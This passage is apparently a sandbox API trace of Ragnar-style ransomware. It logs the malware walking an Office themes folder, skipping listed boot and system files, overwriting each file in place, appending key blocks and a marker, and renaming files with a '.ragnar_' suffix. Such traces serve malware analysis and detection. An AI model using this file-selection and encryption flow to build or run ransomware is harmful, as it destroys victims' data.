Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.485] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fd2b280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.487] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.487] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.487] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0076.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.487] lstrcpyW (in: lpString1=0x1eab6c, lpString2="SATIN.ELM" | out: lpString1="SATIN.ELM") returned="SATIN.ELM" [0076.487] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM") returned=".ELM" [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="autorun.inf") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="boot.ini") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="bootfont.bin") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="bootsect.bak") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="bootmgr") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="bootmgr.efi") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="bootmgfw.efi") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="desktop.ini") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="iconcache.db") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="ntldr") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="ntuser.dat") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="ntuser.dat.log") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="ntuser.ini") returned 1 [0076.487] lstrcmpiW (lpString1="SATIN.ELM", lpString2="thumbs.db") returned -1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.488] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm")) returned 0x20 [0076.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.489] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=103279) returned 1 [0076.489] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x19366, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.489] GetProcessHeap () returned 0x580000 [0076.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.489] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.490] VirtualAlloc (lpAddress=0x0, dwSize=0x1936f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.490] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.490] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.490] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1936f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1936f, lpOverlapped=0x0) returned 1 [0076.518] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.519] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1936f, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.519] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1936f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1936f, lpOverlapped=0x0) returned 1 [0076.520] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1936f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.520] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.520] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1936f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.520] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.520] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.520] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.521] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.521] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.521] GetProcessHeap () returned 0x580000 [0076.521] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.521] CloseHandle (hObject=0x10c) returned 1 [0076.521] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" [0076.521] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.ragnar_FD7BD9FC" [0076.521] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0076.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.522] lstrcpyW (in: lpString1=0x1eab6c, lpString2="SATIN.INF" | out: lpString1="SATIN.INF") returned="SATIN.INF" [0076.522] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF") returned=".INF" [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="autorun.inf") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="boot.ini") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="bootfont.bin") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="bootsect.bak") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="bootmgr") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="bootmgr.efi") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="bootmgfw.efi") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="desktop.ini") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="iconcache.db") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="ntldr") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="ntuser.dat") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="ntuser.dat.log") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="ntuser.ini") returned 1 [0076.522] lstrcmpiW (lpString1="SATIN.INF", lpString2="thumbs.db") returned -1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.522] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf")) returned 0x20 [0076.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.523] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=456) returned 1 [0076.523] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.523] GetProcessHeap () returned 0x580000 [0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.523] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.524] VirtualAlloc (lpAddress=0x0, dwSize=0x1c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.524] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.524] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.524] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1c8, lpOverlapped=0x0) returned 1 [0076.524] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.524] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.524] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1c8, lpOverlapped=0x0) returned 1 [0076.524] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.525] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.525] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.525] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.525] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.525] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.525] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.525] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.525] GetProcessHeap () returned 0x580000 [0076.525] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.525] CloseHandle (hObject=0x10c) returned 1 [0076.525] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" [0076.525] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.ragnar_FD7BD9FC" [0076.525] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.526] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.526] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.526] lstrcpyW (in: lpString1=0x1eab6c, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.526] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned=".PNG" [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.526] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.527] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.527] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0076.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.527] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=34163) returned 1 [0076.527] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x856a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.527] GetProcessHeap () returned 0x580000 [0076.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.527] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.529] VirtualAlloc (lpAddress=0x0, dwSize=0x8573, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.529] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.529] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.529] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8573, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8573, lpOverlapped=0x0) returned 1 [0076.531] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.531] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8573, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.531] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8573, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8573, lpOverlapped=0x0) returned 1 [0076.531] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8573, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.531] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.532] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8573, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.532] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.532] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.532] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.532] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.532] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.532] GetProcessHeap () returned 0x580000 [0076.532] HeapFree (in: 